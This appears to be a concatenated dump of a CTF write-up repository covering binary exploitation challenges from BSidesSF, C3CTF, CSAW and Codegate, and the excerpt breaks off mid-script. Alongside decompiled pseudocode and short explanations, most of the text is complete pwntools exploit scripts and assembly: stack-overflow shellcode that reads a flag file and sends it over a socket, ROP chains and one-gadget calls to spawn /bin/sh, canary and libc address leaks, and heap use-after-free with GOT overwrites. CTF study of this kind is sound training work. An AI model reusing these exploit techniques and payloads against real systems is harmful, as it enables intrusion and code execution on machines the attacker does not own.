index:"); 66 | index = get_int(); 67 | idx = index; 68 | if ( index >= 0 && index <= 6 ) 69 | { 70 | if ( table[index] ) 71 | { 72 | puts("Please update the data:"); 73 | if ( (unsigned int)get_inp((void *)table[idx], size[idx]) ) 74 | index = puts("update successful\n"); 75 | else 76 | index = puts("update unsuccessful"); 77 | } 78 | else 79 | { 80 | index = puts("The index is empty\n"); 81 | } 82 | } 83 | return index; 84 | } 85 | 86 | int delete_() 87 | { 88 | int result; // eax 89 | int v1; // eax 90 | int index; // [rsp+Ch] [rbp-4h] 91 | 92 | puts("Enter the index:"); 93 | result = get_int(); 94 | index = result; 95 | while ( index >= 0 && index <= 6 ) 96 | { 97 | if ( !table[index] ) 98 | return puts("The index is empty"); 99 | v1 = count--; 100 | if ( v1 ) 101 | { 102 | free((void *)table[index]); 103 | return puts("done"); 104 | } 105 | result = puts("Sorry no more removal\n"); 106 | } 107 | return result; 108 | } 109 | 110 | int view() 111 | { 112 | int result; // eax 113 | 114 | puts("Enter the index:"); 115 | result = get_int(); 116 | if ( result >= 0 && result <= 6 ) 117 | { 118 | if ( table[result] ) 119 | result = printf("Your data :%s\n\n", table[result]); 120 | else 121 | result = puts("The index is empty"); 122 | } 123 | return result; 124 | } 125 | 126 | int main() 127 | { 128 | alarm(0x3Cu); 129 | setvbuf(stdout, 0LL, 2, 0LL); 130 | setvbuf(stdin, 0LL, 2, 0LL); 131 | setvbuf(stderr, 0LL, 2, 0LL); 132 | puts("----------DATA BANK----------"); 133 | while ( 1 ) 134 | { 135 | printmenu(); 136 | switch ( (unsigned int)off_10F0 ) 137 | { 138 | case 1u: 139 | add(); 140 | break; 141 | case 2u: 142 | edit(); 143 | break; 144 | case 3u: 145 | delete_(); 146 | break; 147 | case 4u: 148 | view(); 149 | break; 150 | case 5u: 151 | exit(0); 152 | return; 153 | default: 154 | puts("Invalid"); 155 | break; 156 | } 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/README.md: -------------------------------------------------------------------------------- 1 | This challenge has a `stack overflow` vulnerability. Basically, you can overwrite the return address with the address of your `shellcode`, by which you can send the content of flag over the socket. -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | section .text 4 | global _start 5 | 6 | _open: ; fd = open(filename, O_RDONLY) 7 | mov rdi, 0x4040c0 ; filename's address 8 | mov rsi, 0x0 ; O_RDONLY 9 | mov rax, 0x2 ; syscall id for open 10 | syscall 11 | 12 | _read: ; read(fd, buffer, 0x100) 13 | mov rdi, rax ; fd 14 | mov rsi, 0x404200 ; buffer 15 | mov rdx, 0x64 ; size 16 | mov rax, 0x401080 17 | call rax 18 | 19 | _write: ; write(4, buffer, 0x100) 20 | mov edi, [rsp - 0x444] ; socket fd 21 | mov rsi, 0x404200 ; buffer 22 | mov rdx, 0x64 ; size 23 | mov rax, 0x401040 24 | call rax 25 | 26 | -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program') 7 | r = remote('localhost', 4141) 8 | 9 | flag_filename = 'flag.txt' 10 | 11 | r.recvuntil('Enter your name> ') 12 | r.send(flag_filename + '\x00') 13 | r.sendline('\xbf\xc0\x40\x40\x00\xbe\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x80\x10\x40\x00\xff\xd0\x8b\xbc\x24\xbc\xfb\xff\xff\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x40\x10\x40\x00\xff\xd0') 14 | 15 | r.recvuntil('Enter message> ') 16 | r.send('b' * 1000) 17 | r.sendline('c' * 72 + \ 18 | # replace saved rbp 19 | 'd' * 8 + \ 20 | # replace return address with shellcode address in .bss ("name" variable) 21 | p64(0x4040c0 + len(flag_filename) + 1)) 22 | 23 | r.interactive() 24 | 25 | -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/flag.txt: -------------------------------------------------------------------------------- 1 | CTF{cOnGrAtZ_oN_t3h_FlAg} 2 | -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/BSidesSF/2019/slowfire/program -------------------------------------------------------------------------------- /ctfs/BSidesSF/2019/slowfire/pseudocode.cc: -------------------------------------------------------------------------------- 1 | char name[64]; 2 | 3 | int main() 4 | { 5 | int fd; // [rsp+18h] [rbp-8h] 6 | int sockfd; // [rsp+1Ch] [rbp-4h] 7 | 8 | sockfd = setup_socket(4141u); 9 | do 10 | { 11 | fd = accept_and_fork(sockfd); 12 | if ( fd > 0 ) 13 | return handle_client(fd); 14 | } 15 | while ( fd >= 0 ); 16 | return -1; 17 | } 18 | 19 | void invert_case(char *str) 20 | { 21 | int len; // [rsp+18h] [rbp-8h] 22 | int i; // [rsp+1Ch] [rbp-4h] 23 | 24 | len = strlen(str); 25 | for ( i = 0; i < len; ++i ) 26 | { 27 | if ( str[i] > 64 && str[i] <= 90 || str[i] > 96 && str[i] <= 122 ) 28 | str[i] ^= ' '; 29 | } 30 | } 31 | 32 | int handle_client(int fd) 33 | { 34 | char msg[1024]; // [rsp+10h] [rbp-430h] 35 | int rv_6; // [rsp+418h] [rbp-28h] 36 | int rv_5; // [rsp+41Ch] [rbp-24h] 37 | int rv_4; // [rsp+420h] [rbp-20h] 38 | int rv_3; // [rsp+424h] [rbp-1Ch] 39 | int rv_2; // [rsp+428h] [rbp-18h] 40 | int rv_1; // [rsp+42Ch] [rbp-14h] 41 | int rv_0; // [rsp+430h] [rbp-10h] 42 | int rv; // [rsp+434h] [rbp-Ch] 43 | char *prompt; // [rsp+438h] [rbp-8h] 44 | 45 | prompt = "Enter your name> "; 46 | rv = write_string(fd, "Enter your name> "); 47 | if ( rv < 0 ) 48 | exit(rv); 49 | rv_0 = read_line_safe(fd, name, 64uLL); 50 | if ( rv_0 < 0 ) 51 | exit(rv_0); 52 | prompt = "Enter message> "; 53 | rv_1 = write_string(fd, "Enter message> "); 54 | if ( rv_1 < 0 ) 55 | exit(rv_1); 56 | rv_2 = read_line_safe(fd, msg, 0x400uLL); 57 | if ( rv_2 < 0 ) 58 | exit(rv_2); 59 | invert_case(msg); 60 | prompt = "Greetings "; 61 | rv_3 = write_string(fd, "Greetings "); 62 | if ( rv_3 < 0 ) 63 | exit(rv_3); 64 | rv_4 = write_string(fd, name); 65 | if ( rv_4 < 0 ) 66 | exit(rv_4); 67 | prompt = "!\n Your converted message is:\n"; 68 | rv_5 = write_string(fd, "!\n Your converted message is:\n"); 69 | if ( rv_5 < 0 ) 70 | exit(rv_5); 71 | rv_6 = write_string(fd, msg); 72 | if ( rv_6 < 0 ) 73 | exit(rv_6); 74 | return 0; 75 | } 76 | 77 | int write_string(int fd, char *str) 78 | { 79 | int max; // [rsp+14h] [rbp-Ch] 80 | int rv; // [rsp+18h] [rbp-8h] 81 | int total; // [rsp+1Ch] [rbp-4h] 82 | 83 | total = 0; 84 | max = strlen(str); 85 | do 86 | { 87 | rv = write(fd, &str[total], max - total); 88 | if ( rv <= 0 ) 89 | return rv; 90 | total += rv; 91 | } 92 | while ( total < max ); 93 | return total; 94 | } 95 | 96 | int read_line_safe(int fd, char *buf, size_t buf_size) 97 | { 98 | uint64_t buf_sizea; // [rsp+8h] [rbp-28h] 99 | int rb; // [rsp+28h] [rbp-8h] 100 | int total; // [rsp+2Ch] [rbp-4h] 101 | 102 | buf_sizea = buf_size; 103 | memset(buf, 0, buf_size); 104 | total = 0; 105 | do 106 | { 107 | rb = read(fd, &buf[total], buf_sizea - 1); 108 | if ( rb <= 0 ) 109 | break; 110 | total += rb; 111 | if ( buf[total - 1] == '\n' ) 112 | { 113 | buf[total - 1] = 0; 114 | break; 115 | } 116 | } 117 | while ( buf_sizea > total ); 118 | buf[total] = 0; 119 | return total; 120 | } 121 | 122 | int setup_socket(uint16_t port) 123 | { 124 | int enable; // [rsp+1Ch] [rbp-24h] 125 | sockaddr_in sa; // [rsp+20h] [rbp-20h] 126 | int s; // [rsp+3Ch] [rbp-4h] 127 | 128 | s = socket(2, 1, 0); 129 | *(int64_t *)&sa.sin_family = 0LL; 130 | *(int64_t *)sa.sin_zero = 0LL; 131 | sa.sin_family = 2; 132 | sa.sin_port = htons(port); 133 | enable = 1; 134 | if ( setsockopt(s, 1, 2, &enable, 4u) < 0 ) 135 | { 136 | perror("setsockopt(SO_REUSEADDR) failed"); 137 | exit(-1); 138 | } 139 | if ( bind(s, (const struct sockaddr *)&sa, 0x10u) ) 140 | { 141 | perror("bind"); 142 | exit(-1); 143 | } 144 | listen(s, 10); 145 | return s; 146 | } 147 | 148 | int accept_and_fork(int sock) 149 | { 150 | pid_t p; // [rsp+18h] [rbp-8h] 151 | int fd; // [rsp+1Ch] [rbp-4h] 152 | 153 | fd = accept(sock, 0LL, 0LL); 154 | p = fork(); 155 | if ( !p ) 156 | return fd; 157 | if ( p == -1 ) 158 | return -1; 159 | return 0; 160 | } 161 | -------------------------------------------------------------------------------- /ctfs/C3CTF/2017/README.md: -------------------------------------------------------------------------------- 1 | # C3CTF 2017 2 | 3 | [CTFtime Event](https://ctftime.org/event/544) 4 | 5 | [CTFtime Writeups](https://ctftime.org/event/544/tasks/) 6 | 7 | [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/C3CTF/2017) 8 | 9 | | Challenge | Info | Exploitation | Links | 10 | |:-----------:|--------------------|----------------------|:---------:| 11 | | [simplegc](simplegc) | `x86_64` `NX` `Canary` `Partial RELRO` `ASLR` | `GOT` `fastbin` `glibc tcache` `heap` `use after free` | [Writeups](https://ctftime.org/task/5137) [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/C3CTF/2017/simplegc) | 12 | -------------------------------------------------------------------------------- /ctfs/C3CTF/2017/simplegc/README.md: -------------------------------------------------------------------------------- 1 | In `34C3 2017 - SimpleGC` challenge, we leak `libc` base address using a `Use After Free (UAF)` vulnerability. Using the same `Use After Free (UAF)` vulnerability, we overwrite `free@GOT` with `system` address, and eventually spawn a shell. This is a good example of `Heap Exploitation` challenge to understand how to exploit `x86_64` binaries with `Canary`, `NX`, and `ASLR` enabled in presence of `tcache` feature which is enabled in `glibc-2.26`. -------------------------------------------------------------------------------- /ctfs/C3CTF/2017/simplegc/libc-2.26.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/C3CTF/2017/simplegc/libc-2.26.so -------------------------------------------------------------------------------- /ctfs/C3CTF/2017/simplegc/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/C3CTF/2017/simplegc/program -------------------------------------------------------------------------------- /ctfs/CSAW/2017/Quals/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2017 Quals 2 | 3 | [CTFtime Event](https://ctftime.org/event/488) 4 | 5 | [CTFtime Writeups](https://ctftime.org/event/488/tasks/) 6 | 7 | [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/CSAW/2017/Quals/) 8 | 9 | | Challenge | Info | Exploitation | Links | 10 | |:-----------:|--------------------|----------------------|:---------:| 11 | | [scv](scv) | `x86_64` `NX` `Canary` `Partial RELRO` `ASLR` | `ROP` `buffer over-read` `buffer overflow` `information disclosure` `one gadget` `stack overflow` | [Writeups](https://ctftime.org/task/4638) [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/CSAW/2017/Quals/scv) | 12 | -------------------------------------------------------------------------------- /ctfs/CSAW/2017/Quals/scv/README.md: -------------------------------------------------------------------------------- 1 | In `CSAW Quals 2017 - SCV` challenge, we learn how to exploit stack-based overflows using ROP. Basically, there is a buffer out-of-bound access where we can launch `information disclosure` as well as `buffer overflow` attacks. First, we leak the `canary` value using `buffer over-read`, and then replace `return address` using `buffer overflow`. 2 | -------------------------------------------------------------------------------- /ctfs/CSAW/2017/Quals/scv/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | import os 5 | 6 | def feed(food): 7 | p.recvuntil('>>') 8 | p.sendline('1') 9 | p.recvuntil('>>') 10 | p.send(food) 11 | 12 | def review(): 13 | p.recvuntil('>>') 14 | p.sendline('2') 15 | p.recvuntil('PLEASE TREAT HIM WELL.....\n-------------------------\n') 16 | return p.recvuntil('-------------------------').replace('\n-------------------------', '') 17 | 18 | def mine(): 19 | p.recvuntil('>>') 20 | p.sendline('3') 21 | 22 | def leak_canary(): 23 | feed('a' * (0xb0 - 8) + '\n') 24 | food = review() 25 | return '\x00' + food.replace('a' * (0xb0 - 8) + '\n', '')[0:7] 26 | 27 | def leak_libc(): 28 | feed('a' * 183 + '\n') 29 | food = review() 30 | libc_start_addr = u64(food[184:] + '\x00\x00') # __libc_start_main+240 31 | return libc_start_addr - 240 - 0x20740 32 | 33 | with context.quiet: 34 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 35 | 36 | canary = leak_canary() 37 | 38 | libc_base = leak_libc() 39 | 40 | print 'libc base: {}'.format(hex(libc_base)) 41 | 42 | ''' 43 | 0x45216 execve("/bin/sh", rsp+0x30, environ) 44 | constraints: 45 | rax == NULL 46 | ''' 47 | 48 | print 'zero out rax: {}'.format(hex(libc_base + 0x8b8c5)) 49 | print 'one gadget: {}'.format(hex(libc_base + 0x45216)) 50 | 51 | feed('a' * 168 + \ 52 | canary + \ 53 | # to zero out rax with "xor rax, rax; ret;" 54 | p64(libc_base + 0x8b8c5) + \ 55 | # execve("/bin/sh", rsp+0x30, environ) 56 | p64(libc_base + 0x45216) + \ 57 | '\n') 58 | 59 | mine() 60 | 61 | p.interactive() 62 | 63 | -------------------------------------------------------------------------------- /ctfs/CSAW/2017/Quals/scv/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2017/Quals/scv/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/CSAW/2017/Quals/scv/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2017/Quals/scv/program -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/alien_invasion/README.md: -------------------------------------------------------------------------------- 1 | In `CSAW Quals 2018 - alien_invasion` challenge, there is an `off-by-one (poison-null-byte)` vulnerability that allows us to create `overlapping chunks` situation. Basically, we can leak `heap` base address as well as de-randomize `PIE` by manipulating heap chunks and find `libc` base address by leaking `strtoul@GOT`, and finally overwrite `strtoul@GOT` with `system` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/alien_invasion/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2018/Quals/alien_invasion/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/alien_invasion/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2018/Quals/alien_invasion/program -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/bigboy/README.md: -------------------------------------------------------------------------------- 1 | You can simply overwrite the value in stack based on which "/bin/bash" will be executed. 2 | -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/bigboy/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | # p = remote('pwn.chal.csaw.io', 9000) 6 | # flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis} 7 | p = process('./program') 8 | 9 | p.send('a' * 20 + p32(0xCAF3BAEE)) 10 | 11 | p.interactive() 12 | 13 | -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/bigboy/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2018/Quals/bigboy/program -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/get_it/README.md: -------------------------------------------------------------------------------- 1 | You can simply replace `return` address with the address of the function that runs shell. -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/get_it/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | # p = remote('pwn.chal.csaw.io', 9001) 6 | # flag{y0u_deF_get_itls} 7 | 8 | p = process('./program') 9 | 10 | p.sendline( 11 | # garbage to fill buffer 12 | 'a' * 0x20 + \ 13 | # saved rbp 14 | 'b' * 8 + \ 15 | # give_shell 16 | p64(0x4005b6) 17 | ) 18 | 19 | p.interactive() 20 | 21 | -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/get_it/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2018/Quals/get_it/program -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/shell_code/README.md: -------------------------------------------------------------------------------- 1 | In `CSAW Quals 2018 - shell_code` challenge, there is a simple `stack overflow` vulnerability that leads to code injection and eventually, execution of `/bin/sh`. The interesting part is that you cannot provide the whole shell code in one place; however, you need to break your shell code into 3 parts, feed each part to the program in a different place, and connect these 3 parts using jumps. -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/shell_code/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | section .text 4 | global _start 5 | 6 | ; this is provided in "goodbye" function 7 | _start: 8 | mov rax, 59 ; syscall id for execve 9 | jmp _node_2 10 | 11 | ; 2 byte gab between goodbye buffer and node 2 value 12 | nop 13 | nop 14 | 15 | ; node 2 value 16 | _node_2: 17 | jmp _node_1 18 | 19 | _exec: 20 | pop rdi ; "/bin/sh" 21 | xor rsi, rsi ; NULL 22 | xor rdx, rdx ; NULL 23 | syscall 24 | 25 | ; 20 bytes gab between node 2 and node 1 values 26 | nop 27 | nop 28 | nop 29 | nop 30 | nop 31 | nop 32 | nop 33 | nop 34 | nop 35 | nop 36 | nop 37 | nop 38 | nop 39 | nop 40 | nop 41 | nop 42 | nop 43 | nop 44 | nop 45 | nop 46 | 47 | ; node 1 value 48 | _node_1: 49 | call _exec 50 | db "/bin/sh", 0x0 51 | 52 | -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/shell_code/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | # flag{NONONODE_YOU_WRECKED_BRO} 7 | # p = remote('pwn.chal.csaw.io', 9005) 8 | p = process('./program') 9 | 10 | ''' 11 | nasm -f bin -o sc exploit.asm 12 | ndisasm -b64 sc 13 | ''' 14 | # this shellcode has 3 parts, and each part is being provided in a different place. 15 | shellcode = '\xb8\x3b\x00\x00\x00\xeb\x02\x90\x90\xeb\x1d\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00' 16 | 17 | # last part is provided as the node 1 value which contains "/bin/sh" 18 | p.sendlineafter('(15 bytes) Text for node 1: \n', shellcode[40:]) 19 | 20 | # second part is provided as the node 2 value which load registers and invoke the syscall 21 | p.sendlineafter('(15 bytes) Text for node 2: \n', shellcode[8:20]) 22 | 23 | # we retrieve the top of the stack, so we can figure out where to return to 24 | p.recvuntil('node.next: ') 25 | stack_top = int(p.recvuntil('\n').strip(), 16) 26 | 27 | p.sendlineafter('What are your initials?', 28 | # garbage 29 | 'A' * 3 + \ 30 | # saved rbp 31 | 'B' * 8 + \ 32 | # return address 33 | p64(stack_top) + \ 34 | # first part of the shellcode 35 | shellcode[0:7] 36 | ) 37 | 38 | p.interactive() 39 | 40 | -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/shell_code/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/CSAW/2018/Quals/shell_code/program -------------------------------------------------------------------------------- /ctfs/CSAW/2018/Quals/shell_code/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int printNode(int64_t *a1) 2 | { 3 | return printf("node.next: %p\nnode.buffer: %s\n", *a1, a1 + 1); 4 | } 5 | 6 | char *readline(char *a1, size_t a2) 7 | { 8 | size_t n; // [rsp+10h] [rbp-10h] 9 | char *lineptr; // [rsp+18h] [rbp-8h] 10 | 11 | lineptr = 0LL; 12 | getline(&lineptr, &n, stdin); 13 | return strncpy(a1, lineptr, a2); 14 | } 15 | 16 | int goodbye() 17 | { 18 | char s; // [rsp+Dh] [rbp-3h] 19 | 20 | puts("What are your initials?"); 21 | fgets(&s, 32, stdin); 22 | return printf("Thanks %s\n", &s); 23 | } 24 | 25 | int nononode() 26 | { 27 | char v1; // [rsp+0h] [rbp-40h] 28 | int64_t v2; // [rsp+8h] [rbp-38h] 29 | char *v3; // [rsp+20h] [rbp-20h] 30 | int64_t v4; // [rsp+28h] [rbp-18h] 31 | 32 | v3 = &v1; 33 | puts("(15 bytes) Text for node 1: "); 34 | readline((char *)&v4, 15uLL); 35 | puts("(15 bytes) Text for node 2: "); 36 | readline((char *)&v2, 15uLL); 37 | puts("node1: "); 38 | printNode(&v3); 39 | return goodbye(); 40 | } 41 | 42 | int main() 43 | { 44 | setvbuf(stdin, 0LL, 2, 0LL); 45 | puts("Linked lists are great! \nThey let you chain pieces of data together.\n"); 46 | nononode(); 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/baskin_robins31/README.md: -------------------------------------------------------------------------------- 1 | There is a `stack overflow` vulnerability in this challenge, by which you can leak `read@GOT`, find `glibc` base address, and jump to `execve` found by `one gadget` using `return oriented programming (ROP)` technique. -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/baskin_robins31/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def leak_addr(addr): 6 | code = p64(0x40087a) # pop rdi; pop rsi; pop rdx; ret; 7 | code += p64(0x1) # stdout 8 | code += p64(addr) # address 9 | code += p64(8) # print 8 bytes 10 | code += p64(0x4006d0) # jmp to write 11 | 12 | return code 13 | 14 | def read_buf(addr): 15 | code = p64(0x40087a) # pop rdi; pop rsi; pop rdx; ret; 16 | code += p64(0x0) # stdin 17 | code += p64(addr) # buffer's address 18 | code += p64(0x64) # read 0x64 bytes 19 | code += p64(0x400700) # jmp to read 20 | 21 | return code 22 | 23 | def pivot_stack_ptr(addr): 24 | data = p64(0x400bbd) # pop rsp; pop r13; pop r14; pop r15; ret; 25 | data += p64(addr) # new stack ptr address 26 | 27 | return data 28 | 29 | with context.quiet: 30 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 31 | 32 | rop = '1' * 184 33 | 34 | rop += leak_addr(0x602040) # leak read's addr 35 | 36 | rop += read_buf(0x602100) # read new rop chain 37 | 38 | rop += pivot_stack_ptr(0x602100) # set rsp to new rop chain buffer 39 | 40 | p.sendline(rop) 41 | 42 | p.recvuntil('...:( \n') 43 | 44 | read_addr = struct.unpack('Q', p.recv(8))[0] 45 | print 'read: {}'.format(hex(read_addr)) 46 | 47 | libc_base = read_addr - 0xf7250 48 | print 'libc base: {}'.format(hex(libc_base)) 49 | 50 | ''' 51 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 52 | constraints: 53 | [rsp+0x30] == NULL 54 | ''' 55 | 56 | print 'one gadget: {}'.format(hex(libc_base + 0x4526a)) 57 | 58 | rop = p64(0) * 3 # garbage value for r13, r14, and r15 59 | rop += p64(libc_base + 0x4526a) # execve 60 | rop += p64(0) * 10 # solving the constraints [rsp+0x30] == NULL 61 | 62 | p.sendline(rop) 63 | 64 | p.interactive() 65 | 66 | -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/baskin_robins31/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/Codegate/2018/Quals/baskin_robins31/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/baskin_robins31/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/Codegate/2018/Quals/baskin_robins31/program -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/baskin_robins31/pseudocode.cc: -------------------------------------------------------------------------------- 1 | _BOOL8 check_decision(char a1) 2 | { 3 | return a1 > 0 && a1 <= 3; 4 | } 5 | 6 | signed int64_t your_turn(int *a1) 7 | { 8 | int64_t result; // rax 9 | char s; // [rsp+10h] [rbp-B0h] 10 | size_t n; // [rsp+B0h] [rbp-10h] 11 | int v4; // [rsp+BCh] [rbp-4h] 12 | 13 | v4 = 0; 14 | memset(&s, 0, 0x96uLL); 15 | puts("How many numbers do you want to take ? (1-3)"); 16 | n = read(0, &s, 0x190uLL); 17 | write(1, &s, n); 18 | putchar(10); 19 | v4 = strtoul(&s, 0LL, 10); 20 | if ( (unsigned int)check_decision(v4) ) 21 | { 22 | *a1 -= v4; 23 | result = 1LL; 24 | } 25 | else 26 | { 27 | puts("Don't break the rules...:( "); 28 | result = 0LL; 29 | } 30 | return result; 31 | } 32 | 33 | int my_turn(int *a1) 34 | { 35 | int v1; // edx 36 | unsigned int v3; // [rsp+1Ch] [rbp-4h] 37 | 38 | if ( *a1 == 4 ) 39 | { 40 | v3 = 4; 41 | *a1 = 0; 42 | puts("HUMMMMMMMMMMM"); 43 | sleep(1u); 44 | puts("I got this!"); 45 | sleep(1u); 46 | puts("HA! HA!"); 47 | sleep(1u); 48 | } 49 | else 50 | { 51 | if ( *a1 & 3 ) 52 | { 53 | v3 = *a1 % 4; 54 | v1 = *a1 - v3; 55 | } 56 | else 57 | { 58 | v3 = 1; 59 | v1 = *a1 - 1; 60 | } 61 | *a1 = v1; 62 | } 63 | return printf("I've taken %i number(s)\n", v3); 64 | } 65 | 66 | int main() 67 | { 68 | unsigned int v3; // eax 69 | unsigned int v5; // [rsp+8h] [rbp-8h] 70 | _BOOL4 v6; // [rsp+Ch] [rbp-4h] 71 | 72 | setvbuf(stdout, 0LL, 2, 0LL); 73 | setvbuf(stdin, 0LL, 2, 0LL); 74 | v3 = time(0LL); 75 | srand(v3); 76 | v5 = 31; 77 | v6 = 0; 78 | puts("### This game is similar to the BaskinRobins31 game. ###"); 79 | puts("### The one that take the last match win ###"); 80 | printf("There are %u number(s)\n", 31LL); 81 | while ( (signed int)v5 > 0 ) 82 | { 83 | if ( v6 ) 84 | { 85 | my_turn((int *)&v5); 86 | v6 = 0; 87 | } 88 | else 89 | { 90 | v6 = (uint64_t)your_turn(&v5) != 0; 91 | } 92 | printf("remaining number(s) : %i \n", v5); 93 | } 94 | if ( v6 ) 95 | { 96 | puts("Wow! You win!"); 97 | puts("Hint is : ROP"); 98 | } 99 | else 100 | { 101 | puts("You lose!"); 102 | } 103 | return 0; 104 | } 105 | 106 | -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/super_marimo/README.md: -------------------------------------------------------------------------------- 1 | In `CodeGate 2018 - SuperMarimo` challenge, there is a `heap overflow` vulnerability by which we can leak `malloc@GOT` address in order to find `libc` base address. Using the same vulnerability, we can overwrite `malloc@GOT` (since `Full RELRO` is not enabled) with `One Gadget` address to execute `execve("/bin/sh")`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/super_marimo/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | import time 5 | 6 | def make_free_marimo(name, profile, exploit=False): 7 | p.sendlineafter('>> ', 'show me the marimo') 8 | 9 | if not exploit: 10 | make_marimo(name, profile) 11 | 12 | def make_marimo(name, profile): 13 | p.sendafter("What's your new marimo's name? (0x10)\n>> ", name) 14 | p.sendafter('profile. (0x20)\n>>', profile) 15 | 16 | def view_my_bowls(index): 17 | p.sendlineafter('>> ', 'V') 18 | p.sendlineafter('Select number or [B]ack\n>> ', chr(index + 48)) 19 | 20 | def modify_marimo(profile): 21 | p.sendlineafter('[M]odify / [B]ack ?\n>> ', 'M') 22 | p.sendafter('Give me new profile\n>> ', profile) 23 | 24 | def no_modify_marimo(): 25 | p.sendlineafter('[M]odify / [B]ack ?\n>> ', 'B') 26 | 27 | with context.quiet: 28 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 29 | 30 | # since we don't have enough money at the beginning, we had to create "free" marimos 31 | 32 | # marimo_a ==> fastbin_1 (0x20) 33 | # name_a ==> fastbin_2 (0x20) 34 | # profile_a ==> fastbin_3 (0x30) 35 | make_free_marimo('a' * 16 + '\n', '0' * 